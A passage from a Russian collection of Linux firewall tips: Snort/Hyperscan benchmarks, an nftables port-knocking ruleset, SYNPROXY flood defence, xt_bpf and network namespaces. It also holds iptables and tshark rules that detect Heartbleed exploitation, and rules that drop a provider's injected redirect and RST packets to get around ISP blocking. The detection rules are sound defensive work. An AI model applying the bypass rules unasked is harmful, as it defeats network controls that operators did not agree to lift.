уже будет немного быстрее оригинального, так как для поиска контента будут использоваться SIMD инструкции. Но прирост будет малозаметен. Для реального ускорения детектирования необходимо задать движок hyperscan в опции config detection конфигурационного файла snort.conf: config detection: search-method hyperscan Если использовать актуальный большой набор правил, например открытый набор от [[https://rules.emergingthreats.net/open/snort-2.9.0/ Emerging Threats]], то начальная загрузка снорта значительно замедлится. Чтобы избежать этого без особых потерь в ускорении можно использовать опцию split-any-any, таким образом результирующая строка config detection будет выглядеть так: config detection: search-method hyperscan split-any-any При этом будет наблюдаться выигрыш как в производительности сравнительно со снортом без hyperscan), так и по использованию памяти, точные данные зависят от набора правил. На наборах ET это около 10 процентов (~520 мб и 470 мб в top соответственно). Без опции split-any-any снорт будет анализировать трафик с максимальной скоростью, но будет гораздо дольше стартовать и будет гораздо более заметен в потреблении памяти системы. Таким образом, для сравнения получаются 4 системы с одним набором правил от ET:
  • чистый Snort 2.9.8.3 без модификаций
  • Snort, собранный с Hyperscan, без изменений конфигураци, то есть использующий библиотеку только для простого поиска контента
  • Snort с Hyperscan и включённым движком детектирования hyperscan
  • Snort с включенным движком hyperscan и опцией split-any-any Результаты Скорость проще всего оценивается по времени обработки pcap-файлов. Результирующее ускорение зависит от новизны CPU. Так, на одноядерном Celeron M560 от старого ноутбука, выигрыш будет в районе считанных процентов: с гиперсканом дамп будет обрабатываться за 300 секунд, без гиперскана за 310. Получше результаты на более современном Intel(R) Core(TM) i7-2600:
  • Время обработки 100+ mb pcap файла без hyperscan: Run time for packet processing was 39.578298 seconds
  • Время обработки того же 100+ mb pcap файла c hyperscan: Run time for packet processing was 35.190397 seconds
  • Время обработки 100+ mb pcap файла с движком hyperscan + split-any-any: Run time for packet processing was 24.616165 seconds
  • Время обработки 100+ mb pcap файла с движком hyperscan: Run time for packet processing was 22.323232 seconds Было бы интересно сравнить на Xeon. Видно, что при использовании данной библиотеки и хорошего железа можно ускорить обработку пакетов, пролетающих через Snort IDS, практически двукратно.
  •  

       Пакетные фильтры в Linux: iptables, ipchains

    ----* Пример правил nftables с реализацией port knoсking для открытия доступа к SSH   Автор: umask  [комментарии]
     
    Общий набор правил для nftables с реализацией техники "port knoсking",
    позволяющей организовать временное открытие сетевого порта к SSH только после
    предварительной попытки соединения к определённой последовательности портов
    (порты задаются в параметрах "define ssh_port_knock_[1234]").
    
    
       #!/usr/bin/env -S bash -c 'nft -cof "${0}" && nft -f "${0}"'
    
       flush ruleset
    
       table inet filter {
    
       	define sshd_port = 2299;
    
       	set ssh_bad_ipv4_set {
       		type ipv4_addr;
       		flags dynamic;
       		timeout 15m;
       	}
    
       	set ssh_bad_ipv6_set {
       		type ipv6_addr;
       		flags dynamic;
       		timeout 15m;
       	}
    
       	set ssh_clients_ipv4_set {
       		type ipv4_addr;
       		flags dynamic;
       		timeout 3s;
       	}
    
       	set ssh_clients_ipv6_set {
       		type ipv6_addr;
       		flags dynamic;
       		timeout 3s;
       	}
    
       	set ssh_clients_candidates_ipv4_set {
       		type ipv4_addr . inet_service;
       		flags dynamic;
       		timeout 1s;
       	}
    
       	set ssh_clients_candidates_ipv6_set {
       		type ipv6_addr . inet_service;
       		flags dynamic;
       		timeout 1s;
       	}
    
       	### printf %d\\n 0x$(openssl rand -hex 2)
       	define ssh_port_knock_1 = changeme1;
       	define ssh_port_knock_2 = changeme2;
       	define ssh_port_knock_3 = changeme3;
       	define ssh_port_knock_4 = changeme4;
    
       	### opened ports
       	set serving_tcp_ports_set {
       		type inet_service;
       		flags constant;
       #		elements = {
       #			http,
       #			https,
       #		};
       	}
    
       	set trusted_ipv4_set {
       		type ipv4_addr;
       		flags constant, interval;
       		elements = {
       			169.254.169.254,
       			10.0.0.0/8,
       			192.168.0.0/16,
       		};
       	}
    
       	set trusted_ipv6_set {
       		type ipv6_addr;
       		flags constant, interval;
       		elements = {
       			fd00:ec2::254,
       		};
       	}
    
       	define dns_resolvers = {
       		0.0.0.0/0,
       	}
    
       	define allowed_icmp_types_input = {
       		echo-reply,
       		echo-request,
       		destination-unreachable,
       	}
    
       	define allowed_icmp_types_output = {
       		echo-reply,
       		echo-request,
       		destination-unreachable,
       	}
    
       	### rfc4890; assist mobility candidate codes: 144, 145, 146, 147
       	define allowed_icmpv6_types_input = {
       		echo-reply,
       		echo-request,
       		destination-unreachable,
       		packet-too-big,
       		time-exceeded,
       		parameter-problem,
       		nd-router-solicit,
       		nd-router-advert,
       		nd-neighbor-solicit,
       		nd-neighbor-advert,
       		ind-neighbor-solicit,
       		ind-neighbor-advert,
       		mld-listener-query,
       		mld-listener-report,
       		mld-listener-done,
       		mld2-listener-report,
       	}
    
       	### rfc4890; assist mobility candidate codes: 144, 145, 146, 147
       	define allowed_icmpv6_types_output = {
       		echo-reply,
       		echo-request,
       		destination-unreachable,
       		packet-too-big,
       		time-exceeded,
       		parameter-problem,
       		nd-router-solicit,
       		nd-router-advert,
       		nd-neighbor-solicit,
       		nd-neighbor-advert,
       		ind-neighbor-solicit,
       		ind-neighbor-advert,
       		mld-listener-query,
       		mld-listener-report,
       		mld-listener-done,
       		mld2-listener-report,
       	}
    
       	chain INPUT {
       		type filter hook input priority filter + 20; policy drop;
    
       		iif lo accept comment "accept input connections via loopback";
       		iif != lo ip saddr 127.0.0.0/8 counter drop comment "drop loopback connections not coming from loopback";
       		iif != lo ip daddr 127.0.0.0/8 counter drop comment "drop loopback connections not coming from loopback";
       		iif != lo ip6 saddr ::1/128 counter drop comment "drop loopback connections not coming from loopback";
       		iif != lo ip6 daddr ::1/128 counter drop comment "drop loopback connections not coming from loopback";
    
       		### as little rules as possible for trusted hosts
       		ip saddr @trusted_ipv4_set accept comment "accept trusted hosts";
       		ip6 saddr @trusted_ipv6_set accept comment "accept trusted hosts";
    
       		### before ct
       		meta l4proto icmp icmp type $allowed_icmp_types_input limit rate 10/second burst 20 packets counter accept comment "accept icmp with limits";
       		meta l4proto icmpv6 icmpv6 type $allowed_icmpv6_types_input limit rate 10/second burst 20 packets counter accept comment "accept icmpv6 with limits";
       		meta l4proto { icmp, icmpv6 } counter drop comment "drop icmp over limit";
    
       		ct state vmap { established : accept, related : accept, invalid : drop };
    
       		tcp dport @serving_tcp_ports_set ct state new counter accept comment "accept connections to serving tcp ports";
    
       		### port knocking
       		#tcp dport $ssh_port_knock_1 add @ssh_clients_candidates_ipv4_set { ip saddr . $ssh_port_knock_2 };
       		#tcp dport $ssh_port_knock_1 add @ssh_clients_candidates_ipv6_set { ip6 saddr . $ssh_port_knock_2 };
       		#tcp dport $ssh_port_knock_2 ip saddr . tcp dport @ssh_clients_candidates_ipv4_set add @ssh_clients_candidates_ipv4_set { ip saddr . $ssh_port_knock_3 };
       		#tcp dport $ssh_port_knock_2 ip6 saddr . tcp dport @ssh_clients_candidates_ipv6_set add @ssh_clients_candidates_ipv6_set { ip6 saddr . $ssh_port_knock_3 };
       		#tcp dport $ssh_port_knock_3 ip saddr . tcp dport @ssh_clients_candidates_ipv4_set add @ssh_clients_candidates_ipv4_set { ip saddr . $ssh_port_knock_4 };
       		#tcp dport $ssh_port_knock_3 ip6 saddr . tcp dport @ssh_clients_candidates_ipv6_set add @ssh_clients_candidates_ipv6_set { ip6 saddr . $ssh_port_knock_4 };
       		#tcp dport $ssh_port_knock_4 ip saddr . tcp dport @ssh_clients_candidates_ipv4_set add @ssh_clients_ipv4_set { ip saddr } counter log prefix "ssh port knocked : ";
       		#tcp dport $ssh_port_knock_4 ip6 saddr . tcp dport @ssh_clients_candidates_ipv6_set add @ssh_clients_ipv6_set { ip6 saddr } counter log prefix "ssh port knocked : ";
       		#tcp dport $sshd_port ip saddr @ssh_clients_ipv4_set counter accept;
       		#tcp dport $sshd_port ip6 saddr @ssh_clients_ipv6_set counter accept;
    
       		### rate limits
       		tcp dport $sshd_port ct state new, untracked meter ssh_conns_ratemeter4 { ip saddr timeout 5m limit rate over 1/minute burst 7 packets } counter update @ssh_bad_ipv4_set { ip saddr } comment "update ssh bruteforce set with saddr of attacker; hint: nft list meter inet filter ssh_conns_ratemeter4";
       		tcp dport $sshd_port ct state new, untracked meter ssh_conns_ratemeter6 { ip6 saddr timeout 5m limit rate over 1/minute burst 7 packets } counter update @ssh_bad_ipv6_set { ip6 saddr } comment "update ssh bruteforce set with saddr of attacker; hint: nft list meter inet filter ssh_conns_ratemeter6";
       		tcp dport $sshd_port ip saddr @ssh_bad_ipv4_set counter drop comment "drop ssh bruteforce; hint: nft list set inet filter ssh_bad_ipv4_set";
       		tcp dport $sshd_port ip6 saddr @ssh_bad_ipv6_set counter drop comment "drop ssh bruteforce; hint: nft list set inet filter ssh_bad_ipv6_set";
       		tcp dport $sshd_port counter accept comment "accept ssh connections";
    
       		### new rules place here:
    
       		counter comment "count dropped packets";
       		#log prefix "nft drop IN : " comment "log dropped packets";
       	}
    
       	chain OUTPUT {
       		type filter hook output priority filter + 20; policy drop;
    
       		oif lo accept comment "accept input connections via loopback";
       		oif != lo ip saddr 127.0.0.0/8 counter drop comment "drop loopback connections not coming from loopback";
       		oif != lo ip daddr 127.0.0.0/8 counter drop comment "drop loopback connections not coming from loopback";
       		oif != lo ip6 saddr ::1/128 counter drop comment "drop loopback connections not coming from loopback";
       		oif != lo ip6 daddr ::1/128 counter drop comment "drop loopback connections not coming from loopback";
    
       		### as little rules as possible for trusted hosts
       		ip daddr @trusted_ipv4_set accept comment "accept trusted hosts";
       		ip6 daddr @trusted_ipv6_set accept comment "accept trusted hosts";
    
       		### before ct
       		meta l4proto icmp icmp type $allowed_icmp_types_output limit rate 10/second burst 20 packets counter accept comment "accept icmp with limits";
       		meta l4proto icmpv6 icmpv6 type $allowed_icmpv6_types_output limit rate 10/second burst 20 packets counter accept comment "accept icmpv6 with limits";
       		meta l4proto { icmp, icmpv6 } counter drop comment "drop icmp over limit";
    
       		ct state vmap { established : accept, related : accept, invalid : drop };
    
       		meta skuid { root, uadm, chrony } meta skgid { root, uadm, chrony } counter accept comment "accept connections from specified users";
       		meta skuid postfix meta skgid postfix tcp dport { smtp, smtps, submission } counter accept comment "accept connections from postfix user";
       		meta l4proto { tcp, udp } th dport 53 ip daddr $dns_resolvers counter accept comment "accept dns; for paranoia specify comma separated list of resolvers in $dns_resolvers";
    
       		### new rules place here:
    
       		counter comment "count dropped packets";
       		log prefix "nft drop OUT : " comment "log dropped packets";
       	}
    
       	chain FORWARD {
       		type filter hook forward priority filter + 20; policy drop;
    
       		log prefix "nft drop FWD : " comment "log dropped packets";
       	}
    
       }
    
     
    ----* Прозрачный межсетевой экран с маршрутизатором (доп. ссылка 1)   Автор: Владимир Олейник  [комментарии]
     
    Предисловие
    
    В этом году поменяли провайдера. Выдал он нам небольшую сетку, сказал
    маршрутизатор по умолчанию, находящийся в этой же сети. В общем, ситуация
    вполне стандартная. Сразу же столкнулись с неудобствами такого подключения,
    которых не было при подключении к старому провайдеру по pppoe, ведь теперь
    маршрутизатор не под нашим управлением:
    
    
  • Все хосты с "белыми" адресами должны обзавестись собственными межсетевыми экранами.
  • Маршрутизация превращается либо в динамическую (что то ещё удовольствие), либо в прописывании её на всех "белых" хостах. Быстрые и неправильные решения Данные проблемы можно попытаться решить наскоком, и что может ложно успокоить, "всё будет работать". Поменяв маршрут по умолчанию на белых хостах на собственный маршрутизатор создастся видимость, что всё починилось: маршрутизация до филиалов и серых сетей появилась, а межсетевой экран даже сможет срабатывать на выход. Но кому более всего нужен межсетевой экран на выход? Вот то-то же. Да и с маршрутизацией не всё на самом деле в порядке. На каждый посланный вами из белой сети в Интернет пакет, вы будете получать ICMP redirect, говорящий, что маршрутизатор вами установлен не тот: PING branch.mydomain.ru (branch-IP): 56 data bytes From GW-IP Redirect (change route) 84 bytes from branch-IP: icmp_seq=0 ttl=63 time=N ms Windows машины, у которых по умолчанию применяется политика реагирования на этот код, будут бесконечно добавлять в таблицу маршрутизации записи на каждый хост в Интернете через маршрутизатор провайдера. Хорошо, а давайте добавим все статические маршруты, а между провайдерским и своим коммутатором поставим прозрачный файервол. Ну что ж, это решение будет работать пока вам не надоест возиться с маршрутизацией и не возникнет мысль, что может сделаем управляющий интерфейс прозрачного файервола в белой сети и он и будет центральным маршрутизатором. Увы, как только вы это сделаете, всё вернётся к проблеме, описанной ранее. Правильное решение Из предыдущей главы стало понятно, что нам нужно:
  • прозрачный файервол;
  • управляющий интерфейс этого файервола сделать внешним для возможности включения туннелей для филиалов и домашних пользователей через Интернет;
  • озаботиться хорошей фильтрацией от атак и для него, подконфигурив файрвол;
  • выключить redirect;
  • сконфигурить все VPN-ы либо на этом хосте, либо прописать маршрут на хосте с прозрачным файерволом - центральным маршрутизатором до сервера VPN. Как ни странно, но в сети можно найти решение как это сделать, но это решение предлагается как совершенно странный нетипичный пример сети с запутанными условиями "из реальной жизни", совсем не похожей на рассматриваемый пример типичного подключения. Как это делается в других ОС, отличных от Linux оставим на самостоятельный поиск читателю, а для Linux эта строчка выглядит вот так и немного странно: ebtables -t broute -A BROUTING -i eth-in -p ipv4 -j redirect --redirect-target DROP Где eth-in - входящий интерфейс со стороны вашей остальной сети. Тот, кто уже имел дела с конфигурацией файервола на Linux, взглянув на эту строчку скажет, что мы запретили совсем необходимый переброс пакета со входящего интерфейса на выход. Да, именно так. Дело в том, что ebtables имеет много точек разветвления, запрещая одно ветвление, мы заставляем пермещать пакет в другое, если политика по умолчанию или следующие правила это не запрещают. В данном случае пакет покинет L2-уровень, за который ответсвеннен ebtables и мост, а пойдёт на L3-уровень в маршрутизацию и iptables. Посмотрите на примеры использования ebtables, вы там в большинстве случаев найдёте именно правила с DROP. Такова уж судьба у L2-уровня, другие действия нужны к ну уж очень занятны и нетипичным конфигурациям, типа кластеров и др.
  •  
    ----* Борьба с подстановкой фиктивных пакетов провайдером при помощи iptables   [комментарии]
     
    Многие провайдеры и корпоративные системы инспектирования трафика применяют
    подстановку пакетов, перенаправляющих браузер пользователя на страницу с
    информацией о блокировке, при этом не обрывая изначально установленное
    соединение к заблокированному ресурсу.
    
    Например, запустив 
    
       tcpdump -nA -s1500 host заблокированный_IP
    
    и попытавшись отрыть заблокированный ресурс в браузере, можно увидеть такой пакет:
    
       13:50:24.563093 IP 1.2.3.4.80 > 192.168.1.10.58072: Flags [.], seq 1777859077:1777859201, ack 3185912442, win 229, length 124
       E.......2..a..x$...f.P..i.....*zP....V..HTTP/1.1 302 Found
       Connection: close
       Location: http://warning.bigprovider.ru/?id=61&st=0&dt=1.2.3.4&rs=http://badsite.com/
    
    следом за которым приходит реальный ответ и другие пакеты с подпадающего под
    блокировку сайта, которые продолжают приходить и не отбрасываются провайдером.
    
    Данный метод блокировки обусловлен тем,  что оборудование для обеспечения
    блокировки хоть и имеет доступ к транзитному трафику, но оно работает
    обособленно от сетевой инфраструктуры и не может изменять трафик или напрямую
    блокировать прохождение пакетов. Соответственно, суть применяемого провайдерами
    метода состоит в том, что блокирующее оборудование зная параметры сетевого
    соединения реализует блокировку через отправку подставного упреждающего ответа.
    Так как такой фиктивный ответ приходит раньше реального ответа от удалённого
    сервера и снабжён корректным номером последовательности TCP, он воспринимается
    клиентским ПО в первую очередь, а пришедший хвост реального ответа игнорируется.
    
    
    Обойти подобную блокировку достаточно легко при помощи добавления на локальной
    Linux-системе правила, отбрасывающего фиктивный ответ:
    
       iptables -I INPUT -p tcp --sport 80 -m string --string "Location: http://warning.bigprovider.ru" --algo bm -j DROP
    
    В случае HTTPS (подобным образом также часто блокируют Tor) блокировка обычно
    устраивается  через подстановку в трафик RST-пакетов для принудительного обрыва
    соединения. Обходится данное ограничение следующим правилом:
    
       iptables -I INPUT -p tcp --sport 443 --tcp-flags RST RST -j DROP
    
    Итог: Даже самые крупные провайдеры лукавят и вместо полноценной блокировки
    применяют сомнительные методы подстановки трафика, не блокируя фактически
    запрещённый трафик. Таким образом, описанная выше техника не может
    рассматриваться как метод обхода блокировки, так как блокировки нет как таковой
    - пакеты с запрещённых ресурсов не блокируются и продолжают приходить на
    клиентскую систему, а приходящие от провайдера вкрапления лишь создают
    видимость блокировки и организуют проброс на стороне клиента.
    
    Клиент имеет полное право отбрасывать любые пакеты на своей системе и это не
    может рассматриваться как лазейка для обхода блокировки, которая не выполнена
    должным образом провайдером.
    
    
    Дополнение: Для выявления описанного выше вида блокировок можно использовать
    утилиту curl, в которой можно увидеть "хвост" реального ответа:
    
       $ curl -i --ignore-content-length http://badsite.org/
    
       HTTP/1.1 302 Found
       Connection: close
       Location: http://warning.bitprovider.ru/?id=6&st=0&dt=1.2.3.4&rs=http://badsite.org/
    
       8
       Location: http://badsite.org/forum/index.php
       Connection: keep-alive
       ...
    
    Если запросить конечную страницу, то можно получить её содержимое без манипуляций с iptables: 
    
       $ curl -i --ignore-content-length --trace-asci dump.txt http://badsite.org/forum/index.php
    
       HTTP/1.1 302 Found
       Connection: close
       Location: http://warning.bigprovider.ru/?id=6&st=0&dt=1.2.3.4&rs=http://badsite.org/forum/index.php
    
       ection: keep-alive
    
       1fc0
       ...содержимое HTML-документа.
    
       $ less dump.txt
    
       ...
       <= Recv header, 20 bytes (0x14)
       0000: HTTP/1.1 302 Found
       <= Recv header, 19 bytes (0x13)
       0000: Connection: close
       <= Recv header, 101 bytes (0x65)
       0000: Location: http://warning.bigprovider.ru/?id=6&st=0&dt=1.2.3.4&rs=h
       0040: ttp://badsite.org/forum/index.php
       <= Recv header, 2 bytes (0x2)
       0000: 
       <= Recv data, 1238 bytes (0x4d6)
       0000: ection: keep-alive
       ...
    
     
    ----* Борьба с SYN-флудом при помощи iptables и SYNPROXY (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Начиная с ядра Linux 3.12 и инструментария IPTables 1.4.21 в iptables доступна
    поддержка новой цели - SYNPROXY, позволяющей в десятки раз увеличить
    интенсивность обработки SYN-пакетов при противостоянии таким атакам, как SYN
    Flood, SYN-ACK Flood и ACK Flood.  Например, если в обычной конфигурации ядра
    сервер на базе CPU Xeon X5550 способен обработать приблизительно 200 тысяч SYN-
    или ACK-пакетов в секунду, то при включении SYNPROXY производительность
    возрастает до нескольких миллионов, чего достаточно для отражения небольших
    атак без привлечения специализированного оборудования.
    
    Включаем в  /etc/sysctl.conf syncookies и timestamps, так как они необходимы для работы SYNPROXY:
    
       sysctl -w net/ipv4/tcp_syncookies=1
       sysctl -w net/ipv4/tcp_timestamps=1
    
    Исключаем ACK-пакеты из обработки системой отслеживания соединений (отслеживаем
    только уже установленные соединения, ACK-пакеты снабжаются меткой INVALID), что
    помогает снизить нагрузку при ACK-флуде:
     
       sysctl -w net/netfilter/nf_conntrack_tcp_loose=0
    
    Увеличивает размер хэша для отслеживания соединений:
    
       echo 2500000 > /sys/module/nf_conntrack/parameters/hashsize
       sysctl -w net/netfilter/nf_conntrack_max=2000000
    
    Исключаем SYN-пакеты из обработки в системе отслеживания соединений (таблица
    raw обрабатывает соединений без их отслеживания, а опция "--notrack" позволяет
    обойти цель CT ("conntrack")):
    
       iptables -t raw -I PREROUTING -p tcp -m tcp --syn -j CT --notrack
    
    Выделяем SYN- и ACK-пакеты без отслеживания (UNTRACKED и INVALID), как в
    прошлом правиле и направляем их в цель SYNPROXY, в которой будет выполнена
    проверка syncookies и если всё нормально установлено TCP-соединение:
    
        iptables -I INPUT -p tcp -m tcp -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460
    
    Отбрасываем все остальные пакеты, не прошедшие проверку в прошлом правиле:
    
       iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
    
    
    Если необходимо обеспечить защиту для отдельного IP, правила можно изменить
    следующим образом (если атака ведётся только на 80 сетевой порт, можно добавить
    "--dport 80"):
    
       iptables -t raw -I PREROUTING -p tcp -m tcp -d 192.168.1.10 --syn -j CT --notrack 
       iptables -I INPUT -p tcp -m tcp -d 192.168.1.10 -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460
       iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
    
    Для просмотра статистики:
    
       iptables -t raw -vnL
       cat/proc/net/stat/synproxy
    
    
    Если нужно на низком уровне заблокировать некоторые HTTP-запросы, явно
    связанные с проведением атаки, можно использовать следующее правило (маску
    можно выделить из логов или через "tcpdump -nnA dst host 192.168.1.10 and port http"):
    
       iptables -A INPUT -p tcp --dport 80 -m string --string "маска_блокировки" --algo bm -j DROP
    
     
    ----* Отключение Firewalld и возвращение к iptables в RHEL/CentOS 7   Автор: Базиль  [комментарии]
     
    Использование применяемой по умолчанию в RHEL/CentOS 7 надстройки Firewalld не
    всегда очевидно, поэтому бывает удобнее вернуться к классическим скриптам
    работы с пакетным фильтром.
    
    Установим классические сервисы для работы с iptables:
    
       yum install -y iptables-services
    
    Настраиваем правила фильтрации в файлах /etc/sysconfig/iptables и
    /etc/sysconfig/iptables-config, например, можно сохранить текущие  правила firewalld:
    
       iptables-save > /etc/sysconfig/iptables
    
    Завершаем работу firewalld и запускаем сервисы iptables:
    
       systemctl stop firewalld && systemctl start iptables
    
    Проверяем, что используются новые правила:
    
       iptables -S
       iptables -L
    
    Для восстановления резервной копии типовых правил с другой машины  можно
    воспользоваться командой iptables-restore:
    
       cat iptables.backup| iptables-restore -t
       service iptables save (или /usr/libexec/iptables/iptables.init save)
    
    для возвращения настроек из /etc/sysconfig/iptables:
    
       systemctl reload iptables
    
    Если всё нормально убираем активацию Firewalld при загрузке и запрещаем ручной запуск:
    
       systemctl disable firewalld
       systemctl mask firewalld
    
    Активируем включение сервисов iptables при загрузке:
    
       systemctl enable iptables
    
     
    ----* Блокирование попыток эксплуатации heartbeat-уязвимости в OpenSSL средствами iptables (доп. ссылка 1)   [комментарии]
     
    Пример блокирования  критической уязвимости CVE-2014-0160 в OpenSSL 1.0.1,
    позволяющей получить содержимое памяти удалённых серверных и клиентских приложений.
    
    
    Отражаем в логе все heartbeat-запросы при помощи iptables и модуля u32:
    
       iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 "52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"
    
    Блокируем heartbeat-запросы:
    
       iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 "52=0x18030000:0x1803FFFF" -j DROP
    
    Отслеживаем возможные атаки при помощи Wireshark:
    
       tshark -i interface port 443 -R 'frame[68:1] == 18'
       tshark -i interface port 443 -R 'ssl.record.content_type == 24'
    
     
    ----* Использование xtables-модуля xt_bpf для фильтрации через BPF в Linux   Автор: Roman Timofeev  [комментарии]
     
    В ядре Linux 3.9 добавили xt_bpf - аналог нетграф-ноды ng_bpf из  FreeBSD. Без
    использования правил iptables на платформе x86_64 BPF-правило демонстрирует
    производительность 40K (40 GBps) netperf TCP_STREAM, после вставки 100
    BPF-правил производительность составляет 28K.
    
    Используемое BPF-правило:
    
       iptables -A OUTPUT -m bpf --bytecode '6,40 0 0 14, 21 0 3 2048,48 0 0 25,21 0 1 20,6 0 0 96,6 0 0 0,' -j
    
    При использовании 100 эквивалентных правил через u32  производительность составляет 21K:
    
       iptables -A OUTPUT -m u32 --u32 '6&0xFF=0x20' -j DROP
    
    Т.е. для достаточно приличного числа ситуаций можно получить как упрощение
    правил, так и их ускорение (тем более, что на некоторых платформах доступен
    net.core.bpf_jit_enable и инструкции bpf преобразуются в нативный код).
    
    Для желающих использовать в более старых ядрах, доступен патч для ядра
    и патч для  iptables.
    
    В оригинале, для формирования байткода BPF автор модуля использует компилятор
    (который просто вызывает libpcap), хотя всё что нужно можно получить от
    tcpdump, указав ему подходящий интерфейс с DLT_RAW (для чего прекрасно подходит
    создаваемый после загрузки модуля ipip.ko интерфейс tunl0).
    
    Пример использования:
    
       modprobe ipip
       tcpdump -i tunl0 -ddd 'udp' > udp.bpf
       tcpdump -i tunl0 -ddd 'icmp' > icmp.bpf
       iptables -A INPUT -m bpf --bytecode-file udp.bpf  -j LOG --log-prefix "udp: "
       iptables -A INPUT -m bpf --bytecode-file icmp.bpf  -j LOG --log-prefix "icmp: "
    
    В dmesg мы увидим:
    
       [17453.963938] udp: IN=eth0 OUT= MAC=00:15:17:14:c8:c3:00:30:4f:64:71:92:08:00 SRC=192.168.100.1 DST=192.168.100.2 LEN=237 TOS=0x00 PREC=0x00 TTL=64 ID=63634 PROTO=UDP SPT=53 DPT=8516 LEN=217 
       [17460.203403] icmp: IN=eth0 OUT= MAC=00:15:17:14:c8:c3:00:30:4f:64:71:92:08:00 SRC=192.168.100.1 DST=192.168.100.2 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=ICMP TYPE=8 CODE=0 ID=18090 SEQ=1 
    
     
    ----* Использование нескольких сетевых стеков в Linux   Автор: Roman Timofeev ( ^rage^ )  [комментарии]
     
    В linux относительно давно появилась такая замечательная вещь, как неймспейсы
    (namespaces). Основное применение данной технологии - контейнерная
    виртуализация, но и на маршрутизаторе можно придумать много разных применений,
    так как среди неймспейсов есть "network namespaces".
    
    Network namespaces позволяют в рамках одной машины в каждом неймспейсе иметь:
    
    
  • свой набор таблиц маршрутизации (а их 2^31-1 шт)
  • свою arp-таблицу
  • свои правила iptables
  • свои устройства (а значит и qdisc + class'ы tc) NB: для выполнения нижеследующих примеров крайне желательно иметь свежий iproute2 и ядро. Создаются неймспейсы достаточно скучно и просто: ip netns add VROUTER ip netns add KUKYSEVRACI Создадим "виртуальны шнурок": ip link add name ve0a type veth peer name ve0b Добавим интерфейсы внутрь VROUTER: ip link set dev eth0 netns VROUTER ip link set dev ve0b netns VROUTER Выполнить команду в контексте определённого неймспейса можно так: ip netns exec VROUTER ip link show Настроим адреса: ip netns exec VROUTER ip a a 192.168.1.1/24 dev ve0b ip a a 192.168.1.2/24 dev ve0a ip netns exec VROUTER ip a a 10.140.48.16/24 dev eth0 Поднимем интерфейсы: ip link set dev ve0a up ip netns exec VROUTER ip link set dev eth0 up ip netns exec VROUTER ip link set dev ve0b up Шлюз по умолчанию: ip netns exec VROUTER ip r a default via 10.140.48.1 Посмотрим, что получилось: root@laptus:~# ip netns exec VROUTER ip r s default via 10.140.48.1 dev eth0 10.140.48.0/24 dev eth0 proto kernel scope link src 10.140.48.16 192.168.1.0/24 dev ve0b proto kernel scope link src 192.168.1.1 Добавим NAT: ip netns exec VROUTER iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j SNAT --to-source 10.140.48.16 Сделаем пару трейсов: root@laptus:~# ip netns exec VROUTER traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 10.140.48.1 (10.140.48.1) 0.148 ms 2 10.140.0.1 (10.140.0.1) 0.245 ms 3 border.yournet.ru (91.204.148.17) 0.436 ms 4 alisa.yournet.ru (91.204.151.2) 0.521 ms 5 sev-gw.yournet.ru (91.204.148.2) 8.975 ms 6 bl16-1-gw.spb.runnet.ru (194.190.255.25) 1.321 ms 7 bl16-1-gw.spb.runnet.ru (194.85.40.170) 1.785 ms 8 s14-1-gw.spb.runnet.ru (194.85.40.81) 1.456 ms 9 vuztc.spb.runnet.ru (194.190.255.170) 1.987 ms 10 opennet.ru (77.234.201.242) 2.395 ms root@laptus:~# traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 192.168.1.1 (192.168.1.1) 0.094 ms 2 10.140.48.1 (10.140.48.1) 0.751 ms 3 10.140.0.1 (10.140.0.1) 1.277 ms 4 border.yournet.ru (91.204.148.17) 2.061 ms 5 alisa.yournet.ru (91.204.151.2) 2.911 ms 6 sev-gw.yournet.ru (91.204.148.2) 6.770 ms 7 bl16-1-gw.spb.runnet.ru (194.190.255.25) 3.622 ms 8 bl16-1-gw.spb.runnet.ru (194.85.40.170) 5.262 ms 9 s14-1-gw.spb.runnet.ru (194.85.40.81) 4.135 ms 10 vuztc.spb.runnet.ru (194.190.255.170) 4.710 ms 11 opennet.ru (77.234.201.242) 7.220 ms
  •  
    ----* Интерактивный firewall в Linux   Автор: tux2002  [комментарии]
     
    Linux обладает отличными средствами фильтрации сетевого трафика, но обычно в
    нём строят статический firewall. В данной статье я опишу идею и реализацию
    интерактивного firewall, который в случае подозрительной активности выводит
    пользователю окно с предложением блокирования трафика или игнорирования предупреждения.
    
    Рассмотрим следующую заготовку firewall, которую в дальнейшем можно обучать интерактивно:
    
    
       cat slackwall.initstate
       # Generated by iptables-save v1.4.10 on Sat Dec  3 21:42:46 2011
       *filter
       :INPUT ACCEPT [0:0]
       :FORWARD ACCEPT [0:0]
       :OUTPUT ACCEPT [0:0]
       :FIREWALL-INPUT - [0:0]
       :FIREWALL-FORWARD - [0:0]
       :FIREWALL-OUTPUT - [0:0]
       -A INPUT -m state --state INVALID -j REJECT --reject-with icmp-port-unreachable
       -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A INPUT -p icmp -j ACCEPT
       -A INPUT -j FIREWALL-INPUTFIREWALL-INPUT
       -A INPUT -j LOG --log-prefix "FIREWALL-INPUT "
       -A INPUT -j REJECT --reject-with icmp-port-unreachable
       -A FORWARD -m state --state INVALID -j REJECT --reject-with icmp-port-unreachable
       -A FORWARD -p icmp -j ACCEPT
       -A FORWARD -p udp -m udp --dport 53 -j ACCEPT
       -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A FORWARD -j FIREWALL-FORWARD
       -A FORWARD -j LOG --log-prefix "FIREWALL-FORWARD "
       -A FORWARD -j REJECT --reject-with icmp-port-unreachable
       -A OUTPUT -m state --state INVALID -j REJECT --reject-with icmp-port-unreachable
       -A OUTPUT -p icmp -j ACCEPT
       -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
       -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
